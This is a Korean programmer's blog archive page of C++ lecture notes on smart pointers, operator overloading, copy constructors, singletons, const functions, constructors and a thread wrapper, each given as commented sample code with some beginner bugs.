'C,C++'에 해당되는 글 59건

  1. 2012.08.14 [SSM 안드로이드 프레임워크 개발 강의]14-1.스마트 포인터
  2. 2012.08.14 [SSM 안드로이드 프레임워크 개발 강의]13.연산자 재정의와 테크닉
  3. 2012.08.14 [SSM 안드로이드 프레임워크 개발 강의]12-1 얕은 복사의 4가지 기법
  4. 2012.08.14 [SSM 안드로이드 프레임워크 개발 강의]12. 복사생성자
  5. 2012.08.13 [SSM 안드로이드 프레임워크 개발 강의]11. 함수포인터로 구현해본 안드로이드 Thread 예제제
  6. 2012.08.13 [SSM 안드로이드 프레임워크 개발 강의]10. 멤버함수 호출의 정리
  7. 2012.08.13 [SSM 안드로이드 프레임워크 개발 강의]9.템플릿으로 알아보는 싱글톤 패턴
  8. 2012.08.13 [SSM 안드로이드 프레임워크 개발 강의]8. 상수함수 이야기
  9. 2012.08.13 [SSM 안드로이드 프레임워크 개발 강의]7. 생성자 이야기
  10. 2012.08.13 [SSM 안드로이드 프레임워크 개발 강의]6. 객체 지향의 탄생 배경을 STACK 소스로 알아보기
  11. 2012.08.13 [SSM 안드로이드 프레임워크 개발 강의 ] 5. 참조변수 편
  12. 2012.08.13 [SSM 안드로이드 프레임워크 개발 강의 ] 4. C++ 캐스팅
  13. 2012.08.13 [SSM 안드로이드 프레임워크 개발 강의 ] 3. 메크로와 템플릿?!
  14. 2012.08.13 [ SSM 안드로이드 프레임워크 개발 강의 ] 2. 인라인 함수
  15. 2012.08.13 [SSM 안드로이드 프레임워크 개발 강의 ] 1. 함수 오버로딩
  16. 2012.07.27 [ C ] Mysql 접속하고 데이터 베이스 사용할 때 쓴 예제 코드
  17. 2012.07.26 [ C++ ] IOCP 서버 구현 크리티컬 섹션 동기화
  18. 2012.06.21 리모트 버퍼오버플로우 간단한 예제 코드 (Remote BOF exploit simple example code)
  19. 2012.06.06 IOCP Server & Client C 예제코드 (winsock2) [IOCP Server & Client using winsock2 via C
  20. 2012.05.24 C언어로 MYSQL 사용하기 [윈도우] (Access MySQL via C language) [windows]
  21. 2012.05.22 winsock 에서 사용하는 함수를 linux 소켓에서 사용하기
  22. 2012.04.27 ohhara 덤프 코드 출력 코드 헤더 [펌]
  23. 2012.04.13 음성채팅 프로그램 분석 [client] (Analysis about Voice chat) 1
  24. 2012.04.12 음성 파일 보낼때 음성타입 구조체 (The structure WAVE for Matex)
  25. 2012.03.21 calloc vs malloc 함수의 비교 2
  26. 2012.03.21 MFC에서 중복실행 방지 코드
  27. 2012.03.21 unix 환경에서 getopt() 사용하기.. 파라미터 값으로 옵션주기.
  28. 2012.03.21 network nonblocking socket 넌블러킹 소켓
  29. 2012.03.21 opendir 디렉토리를 열어보는 함수.
2012. 8. 14. 13:57

#include<iostream>

using namespace std;


//////////////////////////////////////////////////////////////////////////////

// 스마트 포인터 : 임의의 객체가 다른 타입의 포인터 처럼 사용되는것

// 장점 : 진짜 포인터가 아니라 객체이다. 생성 복사 대입 소멸 모든과정을

// 사용자가 제어 할 수 있다. 대표적인 예가 소멸자에서의 자동 삭제 기능! 

//

//3. 주로 ->, * 연산자를 재정의해서 만들게 된다.


////////////////////////////////////////////////////////////////////////////


class Car

{

public:

void Go(){cout<<"car go"<<endl;}


};

//스마트 포인터 : 임의의 객체가 다른 타입의 포인터 처럼 사용되는 것.

class ptr{

Car *obj;

public:

ptr(Car *p=0):obj(p){}

Car *operator->(){return obj;}

Car& operator*() {return *obj ;}


~ptr(){delete obj;}

};


int main(){

ptr p=new Car;

p->Go(); // (p.operator->())Go() 이지만 

// (p.operator->())->Go() 처럼 해석된다.


/*

Car *p = new Car;

p->Go();

delete p;

*/


}

===================================================================================


Posted by k1rha
2012. 8. 14. 11:51

#include<iostream>

using namespace std;


//연산자 재정의 개념

//철학 : 사용자 정의 타입도 빌트인 타입처럼 동작해야한다.

// 단축 표기의 미학!!

//1. + 도 결국 함수로 표현된다. operator +

//2. p1+p2 는 operator+(p1,p2)



///////////////////////////////// Friend 로 구성한 operator+//////////////////////////////////

/*

class Point{

int x,y;


public : 

Point(int a = 0, int b= 0) : x(a),y(b){}

//멤버변수가 아니더라도 private 에 접근 할수 있게 해달라.

friend Point operator+(const Point & p1, const Point &p2);

};

Point operator+(const Point &p1, const Point &p2){

return Point(p1.x +p2.x,p1.y+p2.y);

}

int main(){


Point p1(1,1);

Point p2(2,2);

Point p3= p1+p2; // operator+(p1,p2)가 있으면 된다.

//p1.operator+(p2) 라고 해석하기도 한다.


Point p4 = p1+5;

Point p5 = 5 +p1;

}

*/


///////////////////////멤버로 구성한 operator+ /////////////////////////////////


class Point{

int x,y;


public : 

Point(int a = 0, int b= 0) : x(a),y(b){}

//멤버변수가 아니더라도 private 에 접근 할수 있게 해달라.

Point operator+(const Point &p){

return Point (x + p.x, y + p.y);

}

};


int main(){


Point p1(1,1);

Point p2(2,2);

Point p3= p1+p2; // operator+(p1,p2)가 있으면 된다.

//p1.operator+(p2) 라고 해석하기도 한다.



Point p4 = p1+5;


//Point p5 = 5+p1;  //에러가 뜬다? why? 다음시간에 배움

}

//0. -,(),[],-> : 반드시 멤버여야 한다.

//1. 단항 : 멤버가 좋다

//2. 이항중 : += , -= , *= 등은 멤버가 좋다.

//3. 2를 제외한 이항 : 전역이 좋다.

//

//철학은 객체의 상태가 변경되면 멤버가 좋다!! ++a; a+=b; a+b;




=========================================================================================



#include<stdio.h>




//cout 의 원리


class ostream{


public :

ostream& operator<<(int n) {printf("%d",n);return *this;}

ostream& operator<<(const char *s ) {printf("%s",s);return *this;}

ostream& operator<<(ostream &(*f)(ostream &)){

f(*this);

return *this;

}

};

ostream cout;

ostream& end (ostream& os){

os<<"\n";

return os;

}

ostream& tab (ostream& os){

os<<"\t";

return os;

}


int main(){


int n =10;


cout<< n <<tab <<end; //cout.operator <<(n)

cout << "hello"; //cout.operator <<("hello")


}



Posted by k1rha
2012. 8. 14. 10:38

#include<iostream>


using namespace std;



///////////////////////////////////////////////////////////////////////////////////////////

// 객체의 얕은 복사 이야기

// 1. 생성자에서 자원을 획득할 경우, 소멸자에서 자원을 반납하자! RAII

// RAII : resource acquision is initialize ( 자원을 획득하는 것은 객체의 초기화 이다.)

// 2. 클래스 내부에 포인터 멤버가 있다면 컴파일러가 제공하는 복사 생성자는 얕은 복사 현상을 일으킨다.

// 사용자는 반드시 이문제를 해결해야 한다.

//

// 3. 해결책

// (A) 깊은 복사 

// (B) 참조 계수

// (C) 소유권 이전 

// (D) 복사 금지

//

///////////////////////////////////////////////////////////////////////////////////////////

/*

class Cat{


char *name;

int age;


public : 

Cat (const char *n, int a): age(a){

name = new char[strlen(n)+1];

strcpy(name,n);


}

~Cat (){delete[] name;}

};

int main(){

Cat c1("NABI",2);

Cat c2(c1); //런타임에러 디버그 모드에서.. //포인터만 복사.. 하는경우는?! shallow copy 얕은 복사를 한다.

//이럴때는 소멸자에서 같은 메모리를 두번 지우려고 한다.

}


*/


///////////////// (A) 깊은 복사 /////////////////////////////////////

/*

class Cat{


char *name;

int age;


public : 

//깊은 복사를 구현한 복사 생성자 


Cat(const Cat & c ): age(c.age) // 1. 포인터가 아닌 멤버는 그냥 복사

{

name = new char[strlen(c.name+1)];

strcpy(name, c.name); // 메모리를 복사

}

Cat (const char *n, int a): age(a){

name = new char[strlen(n)+1];

strcpy(name,n);


}

~Cat (){delete[] name;}

};

int main(){

Cat c1("NABI",2);

Cat c2(c1); //런타임에러 디버그 모드에서.. //포인터만 복사.. 하는경우는?! shallow copy 얕은 복사를 한다.

//이럴때는 소멸자에서 같은 메모리를 두번 지우려고 한다.

}*/


/*

/////////////////////////////////////////////////////////////////////////////////////


////////////////// (B)참조계수법: 메모리를 복사하지말고 카운트를 하자! //////////////////

class Cat{


char *name;

int age;

int *pRef;

public : 

// 참조 계수를 기반으로 만들어진 복사 생성자

Cat(const Cat&c) : name (c.name), age(c.age),pRef(c.pRef){

++(*pRef);

}

Cat (const char *n, int a): age(a){

pRef = new int(1); //1개를 1로 초기화 

name = new char[strlen(n)+1];

strcpy(name,n);


}

~Cat (){

if(--(*pRef)==0){


delete[] name;

delete pRef;

}

}

};

int main(){

Cat c1("NABI",2);

Cat c2(c1); //런타임에러 디버그 모드에서.. //포인터만 복사.. 하는경우는?! shallow copy 얕은 복사를 한다.

//이럴때는 소멸자에서 같은 메모리를 두번 지우려고 한다.


//c1.name = "AAA"; //이순간 C1 C2는 자원(이름)을 분리해야한다.

//copy on write (COW)라는 기술~

}


*/

///////////////////////////////////////////////////////////////////////////////////////////



//////////////////////////// (C) 소유권이전의 복사생성자 기술1 ////////////////////////////

/*

class Cat{


char *name;

int age;


public :


//swap 같등을 만들때 아주 좋은 방식이다! 차세데 C++ ㅇ는 move 생성자라고 부른다

// 현재는 C++ 표준인 auto_ptr<> 이 이기술을 사용한다


//소유권 이전의 복사 생성자 기술!! 

Cat(Cat & c):name(c.name),age(c.age) //얕은 복사

{

c.name=0;

c.age=0;


}

Cat (const char *n, int a): age(a){

name = new char[strlen(n)+1];

strcpy(name,n);


}

~Cat (){delete[] name;}

};

int main(){

Cat c1("NABI",2);

Cat c2(c1); //런타임에러 디버그 모드에서.. //포인터만 복사.. 하는경우는?! shallow copy 얕은 복사를 한다.

//이럴때는 소멸자에서 같은 메모리를 두번 지우려고 한다.

}


*/

/*

//////////////////////////////////(D) 복사금지 기법///////////////////////////////////////

class Cat{


char *name;

int age;

//private 복사 생성자 .. 복사 금지 할떄 사용하는 기술

Cat (const Cat & c); //선언만한다 1.일단선언이 있으므로 컴파일러는 디폴트복사를 제공하지 않는다.

//2.어딘가에서 호출하는 코드가 있으면 구현이 없으므로 링크 에러이다.

//  멤버함수에서도 호출 할 수 없다.



//보통 복사를 금지하면 대입도 금지한다

void operator=(const Cat&);

public :

void foo(){

// Cat c1("A",10);

// Cat c2(c1); //OK 에러를 내게한다.


}

Cat (const char *n, int a): age(a){

name = new char[strlen(n)+1];

strcpy(name,n);


}

~Cat (){delete[] name;}

};

int main(){

Cat c1("NABI",2);

// Cat c2(c1); //캄파일 시간에러가 나오게 하자! 



}



//////////////////////////////////////////////////////////////////////////////////////////////


*/



////////////////////////////////////////////////////////////////////////////////

// 복사 연산자는 너무나 유용하기 때문에 따로 클래스를 만들어 사용하는경우가 많다,

//

//////////////////////////////////////////////////////////////////////////

class uncopyable

{

private:

uncopyable(const uncopyable &);

void operator=(const uncopyable &);

};

//이것을 상속 받아 사용하면된다. 


class Cat : private uncopyable{


char *name;

int age;


public :

Cat (const char *n, int a): age(a){

name = new char[strlen(n)+1];

strcpy(name,n);


}

~Cat (){delete[] name;}

};

int main(){

Cat c1("NABI",2);

// Cat c2(c1); //캄파일 시간에러가 나오게 하자! 



}

///////////////////////////////////////////////////////////////////////////


Posted by k1rha
2012. 8. 14. 10:37

#include<iostream>

using namespace std;

////////////////////////////////////////////////////////////////////////

//

//복사 생성자 이야기 

//1. 사용자가 복사 생성자를 만들지 않으면 컴파일러가 만들어 준다.

//2. 기본적으로 모든 멤버를 복사 해준다.

//3. C++ 에서 복사생성자가 사용되는 것은 3가지 경우입니다.

// (A) 자신의 타입으로 초기화 될떄 : Point p2(p1)

// (B) 함수인자로 ㄱㄱ체가 값으로 전달될떄 : void foo(Point)

// void foo(const Point &) 를 사용하면 복사생성자 호출을 막을 수 있다.

// Const & 의 장점 : 1. 메모리사용량이 줄어든다.

// 2. 복사 생성자 소멸자의 호출을 막아서 성능 향상된다.

//

// (C)함수가 객체를 값으로 리턴할때 - 임시객체 때문에 복사 생성자가 호출된다. 

// 그럴때 RVO를 사용하면 막을 수 있다.

//

///////////////////////////////////////////////////////////////////////////

/*

class Point{



int x,y;

public:

Point() :x(0),y(0){}

Point(int a, int b) :x(a),y(b){}

//zjavkdlffjsms dkfo ahdiddml todtjdwkfmf wprhdgownsek.

Point(const Point &p):x(p.x),y(p.y){}


};


int main(){


Point p1;

Point p2(1,2);

Point p3(p2); //Point(Point) 모양의 생성자가 필요하다!!


}


*/



/*

class Point{



int x,y;

public:

Point() {cout<<"생성자 1"<<endl;}

Point(int a, int b) {cout<<"생성자 2"<<endl;}

//zjavkdlffjsms dkfo ahdiddml todtjdwkfmf wprhdgownsek.

Point(const Point &p) {cout<<"복사 생성자"<<endl;}

~Point() {cout<<"소멸자"<<endl;}


};

//void foo(Point p){  // 복사생성자와 소멸자가 호출되어 객체가 한번더 호출된다.

void foo(const Point &p)  //const는 그대로 유지되기떄문에 복사생성자가 호출되지 않는다.

{

cout<<"foo"<<endl;

}


int main(){


cout<<"start"<<endl;

Point p1;

cout << "AAA"<<endl;

foo(p1);

cout<<"BBB"<<endl;



}*/



///////////////////////////////////////////////////////////////////////////////////////////////////

///

/// 아래의 코드에 복사 생성자가 들어가있다!! why? return p1 에서 복사생성자에 복사에서 보내기 떄문이다! 

// 1 생성자1 -> AAA -> 생성자2 -> foo -> 복사생성자 -임시객체 -> 소멸자 - 소멸자(임시객체)->BBB-> 소멸자 P

//

////////////////////////////////////////////////////////////////////////////////////////////////////

/*

class Point{



int x,y;

public:

Point() {cout<<"생성자 1"<<endl;}

Point(int a, int b) {cout<<"생성자 2"<<endl;}

//zjavkdlffjsms dkfo ahdiddml todtjdwkfmf wprhdgownsek.

Point(const Point &p) {cout<<"복사 생성자"<<endl;}

~Point() {cout<<"소멸자"<<endl;}


};


Point foo()

{

Point p1(1,2);

cout << "foo" << endl;

return p1;   // 임시 객체를 통해 리턴한다.

}



int main(){


Point p;

cout << "AAA"<<endl;

p=foo();

cout<<"BBB"<<endl;


}

*/

//////////////////////////////////////////////////////////////

///////////////////////////////////////////////////////

//위와같은 문제를 줄여주기 위해 RVO(return value optimization) 이라고 불리는 기술을 사용한다.

///////////////////////////////////////////////////////////////


class Point{



int x,y;

public:

Point() {cout<<"생성자 1"<<endl;}

Point(int a, int b) {cout<<"생성자 2"<<endl;}

//zjavkdlffjsms dkfo ahdiddml todtjdwkfmf wprhdgownsek.

Point(const Point &p) {cout<<"복사 생성자"<<endl;}

~Point() {cout<<"소멸자"<<endl;}


//Point(Point p){} // 이렇게하면 복사생성자가 재귀적으로 무한히 호출되므로 컴파일 에러가 뜬다.

//point(Point &p){} // OK~!

};


Point foo()

{


/////////////////////////////////////////////////////////////////////////////////

// 이름이 있는 객체도 RVO로 자동 리턴된다 NRVO 기술 (Named Return value Optimization)

// VC++ 2005 부터 지원되는 최적화 기술

//

/////////////////////////////////////////////////////////////////////////////////////

// Point p1(1,2);

// cout << "foo" << endl;

// return p1;   // 임시 객체를 통해 리턴한다.  // 리턴하면 성능이 좋치 않다.

//릴리즈 모드를 하면 알아서 RVO 모델로 최적화가 된다. 

cout << "foo"<<endl;

return Point(1,2);

}

int main(){


Point p;

cout << "AAA"<<endl;

p=foo();

cout<<"BBB"<<endl;


}


Posted by k1rha
2012. 8. 13. 17:48

#include<iostream>


#include<Windows.h>


using namespace std;


// 멀티 쓰레드 프로그램을 C++ 클래스로 래핑해 보자 - 안드로이드 원리 

/*

DWORD __stdcall foo( void *p){

return 0;

}


int main(){

CreateThread(0,0,foo,"A",0,0);

}

*/


class Thread{

public: 

void start(){

CreateThread(0,0, _threadLoop,this,0,0);

}


//아래 함수가 static 일수밖에 없는 이유를 알아야 한다

// C 의 콜백함수의 개념을 클래스화 할 때는 결국 static 함수로 해야한다.

static DWORD __stdcall _threadLoop(void *p){

Thread * pThis = static_cast<Thread *>(p);


pThis -> threadLoop();  //this -> theadLoog()로 변경 될 수 있어야 한다.

return 0;

}

virtual void threadLoop(){}


};

//----------------------------------------------------

// 이제 위 라이브러리 사용자는 Thread 의 자식을 만들어서 threadLoop() 가상함수를 재정의한다.

class MyThread : public Thread{

public :

virtual void threadLoop(){

for(int i=0;i<10;i++){

cout << i << endl;

Sleep(1000);


}

}

};


int main(){


MyThread t;

t.start();

int n;

cin >> n;


}


Posted by k1rha
2012. 8. 13. 17:47

#include<iostream>


#include<Windows.h>


using namespace std;


// 멀티 쓰레드 프로그램을 C++ 클래스로 래핑해 보자 - 안드로이드 원리 

/*

DWORD __stdcall foo( void *p){

return 0;

}


int main(){

CreateThread(0,0,foo,"A",0,0);

}

*/


class Thread{

public: 

void start(){

CreateThread(0,0, _threadLoop,this,0,0);

}


//아래 함수가 static 일수밖에 없는 이유를 알아야 한다

// C 의 콜백함수의 개념을 클래스화 할 때는 결국 static 함수로 해야한다.

static DWORD __stdcall _threadLoop(void *p){

Thread * pThis = static_cast<Thread *>(p);


pThis -> threadLoop();  //this -> theadLoog()로 변경 될 수 있어야 한다.

return 0;

}

virtual void threadLoop(){}


};

//----------------------------------------------------

// 이제 위 라이브러리 사용자는 Thread 의 자식을 만들어서 threadLoop() 가상함수를 재정의한다.

class MyThread : public Thread{

public :

virtual void threadLoop(){

for(int i=0;i<10;i++){

cout << i << endl;

Sleep(1000);


}

}

};


int main(){


MyThread t;

t.start();

int n;

cin >> n;


}


Posted by k1rha
2012. 8. 13. 16:59

#include<iostream>

using namespace std;


//주제 10 싱글톤 디자인 기법

//1. 개념 : 오직 한개만을 만들수 있게 한 디자인

//오직 한개의 객체가 static 메모리에 있다. meyer 의 싱글톤이라고 부름.

/*

class Cursor

{

private:

Cursor(){} //즉 객체를 한개도 만들수 없다!


Cursor(const Cursor &); //복사 생성자 금지


public:

static Cursor & getInstance(){

static Cursor instance;

return instance;

}

};


int main(){

Cursor &c1 = Cursor::getInstance();


Cursor &c2 = Cursor::getInstance();


//Cursor c3= c1;//하지만 복사 생성자가 가능하다 


cout<< &c1 << endl;


}

*/


/*

///힙에서 만드는 싱글 톤  - 안드로이드 버전 

//내가 알고있던 싱글톤

class Cursor

{

private:

Cursor(){} //즉 객체를 한개도 만들수 없다!


Cursor(const Cursor &); //복사 생성자 금지

static Cursor * pInstance ; 

public:

static Cursor & getInstance(){

if(pInstance==0){

pInstance = new Cursor;

}

return *pInstance;

}

};

Cursor * Cursor::pInstance=0;


int main(){

Cursor &c1 = Cursor::getInstance();


Cursor &c2 = Cursor::getInstance();


//Cursor c3= c1;//하지만 복사 생성자가 가능하다 


cout<< &c1 << endl;


}*/

/*

/////////////////////////////////////////

// 싱글톤 여러개를 호출시 메크로로 만들기 

// 에러남 -_- 젠장..

/////////////////////////////////////////

#define DECLARE_SINGLETON(classname) private : classname(){ \

classname(const classname&); \

static classname *pInstance;\

public :\

static classname & getInstance();

#define IMPLEMENT_SINGLETON(classname)\

classname  *classname::pInstance =0;\

classname & classname::getInstance()\

{\

if(pInstance == 0)pInstance = new classname;\

return *pInstance;}



class Keyboard

{

DECLARE_SINGLETON(keyboard);

};

IMPLEMENT_SINGLETON(keyboard);


class Cursor

{

private:

Cursor(){} //즉 객체를 한개도 만들수 없다!


Cursor(const Cursor &); //복사 생성자 금지

static Cursor * pInstance ; 

public:

static Cursor & getInstance(){

if(pInstance==0){

pInstance = new Cursor;

}

return *pInstance;

}

};

Cursor * Cursor::pInstance=0;


int main(){

Cursor &c1 = Cursor::getInstance();


Cursor &c2 = Cursor::getInstance();


//Cursor c3= c1;//하지만 복사 생성자가 가능하다 


cout<< &c1 << endl;


}*/


//안드로이드 싱글톤 사용하기 

template <typename TYPE> class Singleton

{

protected:

Singleton(){} //즉 객체를 한개도 만들수 없다!

private:

Singleton(const Singleton &); //복사 생성자 금지

static TYPE * pInstance ; 

public:

static TYPE& getInstance(){

if(pInstance==0){

pInstance = new TYPE;

}

return *pInstance;

}

};

template<typename TYPE> TYPE * Singleton::pInstance=0;


class keyboard : public Singleton<keyboard>{  //mix in template !!


}



int main(){

keyboard & k = keyboard::getInstance();


}


=========================================== MIX IN template method ====================================

#include<iostream>

using namespace std;


// 문제점! 가상함수의 메모리 낭비가 크다!

/*

class Window{


public : 

void MessageLoop(){


int msg = 1;

switch(msg){

case 1: MouseMove();break; //this->MouseMove();

case 2: KeyDown(); break;

}

}

virtual void MouseMove(){

}

virtual void KeyDown(){}



};

//======================================================

class MyWindow : public Window

{

public :

void MouseMove(){ cout << "ouseMove"<<endl;}


}

int main(){


MyWindow w;

w.MessageLoop();

}

*/

////////////////////////////////////////////////////////////////

//virtual 없이 해결하기  부모는 자식의 이름을 알수는 없지만 템플릿을 사용하면 알수 있따.

///////////////////////////////////////////////////////////////


template<typename T> class Window{


public : 

void MessageLoop(){


int msg = 1;

switch(msg){

case 1: static_cast<T*>(this)->MouseMove();break; //this->MouseMove();

case 2: static_cast<T*>(this)->KeyDown(); break;

}

}

void MouseMove(){

}

void KeyDown(){}



};

//======================================================

class MyWindow : public Window<MyWindow>

{

public :

void MouseMove(){ cout << "ouseMove"<<endl;}


}

int main(){


MyWindow w;

w.MessageLoop();

}




Posted by k1rha
2012. 8. 13. 15:47

#include<iostream>

using namespace std;

/*

//주제 9 상수 함수의 개념 

//1. 개념 : 모든 멤버를 상수 취급하는 함수

//2. 상수 객체는 상수 함수만 호출 할 수 있다.

//


class Point

{

public : 

int x,y;

Point(int a=0,int b=0):x(a),y(b){}


void Set(int a){x=a;}

void print() //const  는 아래 주석때문에라도 꼭 붙여야 한다.


{

//x=10; //error 함수안에서 모든 멤버는 상수이다.

cout << x << ","<<y<<endl;

}

};

int main(){


const Point p(1,2);

//p.x=10; //error 나와야 한다.

//p.Set(20); //error 나와야 한다 

//


//p.print(); //  호출 될 수 있으려면 반드시 print() 는 상수 함수로 해야 한다.


}

*/


//10 Const 와 Const 아닌것의 차이 

// 우리는 상수 객체를 안만듭니다?!  그렇다면 이건 어떠냐!

// 멤버 함수가 data의 값을 변경하지 않는다면 반드시 상수 함수로 해야한다.

//상수 함수는 선택이 아닌 필수이다.

///////////////////////////////////////////////////////////////////


class Rect{

int x,y,w,h;

public :

//int GetArea(){return w*h;}  //Rect 에 const 를 붙이면 반드시 여기도 붙여야 출력이 된다.

int GetArea() const{return w*h;}

};



//void foo( Rect &r){   //이걸 하게되면 객체가 변한다! 헐킈

void foo(const Rect &r){ //그래서 이걸 쓸수 밖에 없다! 그렇다면 getArea도 붙여줄 수 밖에없다.


int n = r.GetArea();

}


int main(){

Rect r;

foo(r);

int n=r.GetArea();

}

=============================================================================================================


#include<iostream>

using namespace std;


//상수함수 2

//1. 논리적 상수성!! (밖에서 보기엔 상수인데 논리적으로 내부 루틴은 상수가 아닌 현상

// 해결책!!

// (A) mutable : 상수 함수 안에서도 값을 변경할 수 있는 멤버 data

// (B) 변하는 것과 변하지 않는 것은 분리해야 한다.

// 변하는 것을 다른 구조체로 뽑아 낸다.


/*

//(A) 클래스 

class Point{


int x,y;

mutable char cache[32];

mutable bool cache_valid;


public :

Point(int a=0,int b=0):x(a),y(b),cache_valid(false){}

//객체를 문자열로 반환하는 함수 - > javam c# 에 있는 개념

char * toString() const

{

//static char s[32]// tjdsmd wjgkfmf dnlgks qkdwl 

//sprintf(s,"%d,%d",x,y);

if(cache_valid ==false){

sprintf(cache,"%d,%d",x,y);

cache_valid = true;

}

return s;

}

};


int main(){

const Point p(1,2);

cout << p.toString()<<endl;

cout << p.toString()<<endl;


}

*/

/*

//(B) 클래스 

//변하는것과 변하지 않는것은 분리 되어야한다.

// 이로써 mutable 을 사용하지 않고

//변하지 않는 변수들은 클래스로 뭉치고 변하는 값들은 구조체포인터로 빠진다. 

struct Cache{

char cache[32];

bool cache_valid;

}



class Point{


int x,y;

Cache * pCache;

public :

Point(int a=0,int b=0):x(a),y(b){

pCache = new Cache;

}

//객체를 문자열로 반환하는 함수 - > javam c# 에 있는 개념

char * toString() const

{

//static char s[32]// tjdsmd wjgkfmf dnlgks qkdwl 

//sprintf(s,"%d,%d",x,y);

if(pCache->cache_valid ==false){

sprintf(pCache->cache,"%d,%d",x,y);

pCache->cache_valid = true;

}

return pCache->cache;

}

};


int main(){

const Point p(1,2);

cout << p.toString()<<endl;

cout << p.toString()<<endl;


}*/



///////// 2. 문법정리 ////////////// 


class Test{

public : 


//동일 이름의 상수, 비상수 함수를 동수에 만들수 있다. 

void foo(){}

void foo() const{}

void goo() const;

};


void Test::goo() const{}  //반드시 붙여야 같은 상수 함수로 인식한다. 



int main()

{

Test t1;

t1.foo(); //1번, 없다면 2번 유드리 있게 변함

const Test t2;

t2.foo(); //2번, 없다면 에러이다. 

}




Posted by k1rha
2012. 8. 13. 15:46

#include<iostream>


using namespace std;


////////////////////////////////////////////////////////////////////////////////

//생성자 정리 1. 

//1. 사용자가 만들지 않으면 컴파일러가 만들어준다.

// 인자가 없고 하는 일이 없는 생성자? (정말 하는 일이 없을까?)

//

//2. 하나의 생성자에서 다른 생성자를 호출 할 수 없다.!!

// C++ 2.0 (C++11 이라고 부름) 에서는 위임생성자라는 문법으로 가능함 

//

//3. 생성자는 명시적으로 호출할수 없다! . 다만 placement new를 사용하여 가능하다.

//4. 소멸자는 명시적으로 호출할수 있다. 왜필요할까?! (수요일쯤강의..)

////////////////////////////////////////////////////////////////////////////////

/*

class Point{

int x;

int y;


public :

Point() {x=0;y=0;}

Point(int a, int b) {x=a;y=b;}

}



int main(){


Point p1;

Point p2(1,2);


}*/



//3//

////////////////////////////////////////////////////////

class Point{

int x;

int y;


public :

Point() {cout << "생성자 " <<endl;}

~Point() {cout<<" 소멸자 "<<endl;}

};


int main(){



Point p;

//p.Point();  // Error !!  생성자를 명시적으로 호출 할 수 없다.

new (&p) Point; // 생성자를 명시적으로 호출하는 기술!  

//AKA  :  Placement new 라는 기술 입니다.

p.~Point(); // 된다!! 소멸자는 명시적으로 호출 할 수 있다.


}



//5. 객체 멤버의 생성자가 먼저호출되고 객체 자신의 생성자가 호출된다.




class Point{

int x;

int y;


public :

Point() {cout << "생성자 " <<endl;}

~Point() {cout<<" 소멸자 "<<endl;}

};


class Rect{

Point p1;

Point p2;

public :

Rect(){cout << "Rect()" << endl;}

};

int main(){

Rect r; //결과를 예측해봅시당

}





==================================================================================================

#include<iostream>

using namespace std;


///////////////////////////////////////////////////////////////////////////////////////

// 주제 8. 초기화 리스트

//1. 개념 : 생성자 뒤에 : 을 적고 멤버를 초기화 하는 것.

//2. 장점 : 대입이 아니라 진짜 초기화이다. 객체 형 멤버가 있다면 초기화 속도가 빨라진다.

//3. 꼭 필요할때가 있다.

//////////////////////////////////////////////////////////////////////////////////////

/*

class Point {


int x;

int y;


public : 

Point(int a =0, int b=0) : x(a),y(b) //여긴 초기화

{

//x=a; // 여긴 대입

//y=b;

}

};


int main(){

Point p(1,2);


// Object a = 0; // 초기화

// Object b; 

// b=0; // 대입



}

*/

/*

//반드시 초기화 리스트로 해야 하는경우! 

//(A) 클래스 내부에 const 나 참조 멤버가 있다면 초기화 리스트로 반드시 초기화 해야 한다.


class Point {


int x;

int y; 

//int y=0; ////이때는 초기화가 안된다 왜냐하면 객체가 아직 생성되지 않았기 떄문에 메모리를 잡지 않았기 때문이다.


const int c;//단 반드시 초기화 리스트로 초기화 해야한다.

//const int c=0; // error 이다   때문에 생성자 안에서 대입연산으로 초기화 해주는것도 불가능하다. 반드시 초기화리스트를사용!



public : 

Point(int a =0, int b=0) : x(a),y(b),c(0) //여긴 초기화

{

//x=a; // 여긴 대입

//y=b;

}

};


int main(){


//const int c; //error 반드시 초기화가 필요하다.

//


}*/


//(B) 디폴트 생성자가 없는 멤버를 객체로 가질떄 초기화 리스트에서 특정 생성자를 명시적으로 호출해야 한다.


class Point {


int x;

int y; 


public : 

Point(int a, int b){}//여긴 초기화

};


class Rect{

Point p1;

Point p2;

public: Rect(): p1(0,0),p2(0,0){}



};

int main(){


Rect r;

}






Posted by k1rha
2012. 8. 13. 14:44

#include<iostream>

using namespace std;

/*

//버전 1. C 버전

//버전 1의 문제점 : stack 이 2개가 필요하다면?!  모든게 2개여야한다.

int buff[10];

int index = -1;


void push(int a) { buff[++index]=a;}

int pop() {return buff[index--];}


int main(){



push(10);

cout << pop()<<endl;


}

*/

/*

//버전 2  2개이상의 스택을 고려

//버전 2의 문제점!  : 보기에 복잡하다! 타입을 만들어 줘야한다

void push ( int * buff, int *index , int a){


buff[++(*index)]=a;


}

int main(){

int buff1[10], index1;

int buff2[10], index2;

push(buff2, &index1, 10);


}

*/


//버전 3 구조체로 스택을 구현! Main 함수가 깔끔해졌다!

/*

struct stack{


int buff[10];

int index;

};


void init(stack *s){s->index = -1 ; } 

void push(stack *s , int a){ s->buff[++(s->index)]=a;}

int main(){


stack s1, s2;

init(&s1);

push (&s1,10);



}

*/

/*

//버전 4 상태를 나타내는 data 와 상태를 조작하는 함수를 묶자!

// 버전 4의 문제점! 잘못사용했을 시?!  문제가 생긴다 main 함수에 s1.idex=100 이라고 입력하면 스택이 깨져버린다.

//

struct stack{

int buff[10];

int index;


void init() {index=-1;}

void push(int a) {buff[++index]=a;}

int pop() {return buff[index--];}


};


int main(){


stack s1,s2;

s1.init();

s1.push(20);

cout << s1.pop()<<endl;



}


*/

/*

//버전 5 외부의 잘못된 사용으로 부터 객체가 불안해 지는 것을 막는 방법!

// 접근지정자의 도입!!

// 객체지향의 3대 원칙중하나인 캡슐화이다.


struct stack{

private:

int buff[10];

int index;

public:

void init() {index=-1;}

void push(int a) {buff[++index]=a;}

int pop() {return buff[index--];}


};


int main(){


stack s1,s2;

s1.init();

s1.push(20);

//s1.index=100; // 에러가 뜬다!!

cout << s1.pop()<<endl;



}

*/


/*


//버전 6 객체의 초기화를 자동으로 하자! 

//생성자의 도입

//struct 는 디폴트 접근 지정자가 public 이고 

//class 는 디폴트 접근 지정자가 private 이다.


struct stack{

private:

int buff[10];

int index;

public:

stack() {index=-1;}

void init() {index=-1;}

void push(int a) {buff[++index]=a;}

int pop() {return buff[index--];}


};


int main(){


stack s1,s2;

//s1.init();

s1.push(20);

//s1.index=100; // 에러가 뜬다!!

cout << s1.pop()<<endl;



}



*/

/*

//버전 7 내부 버퍼의 크기는 사용자가 결정하는 것이 좋다.

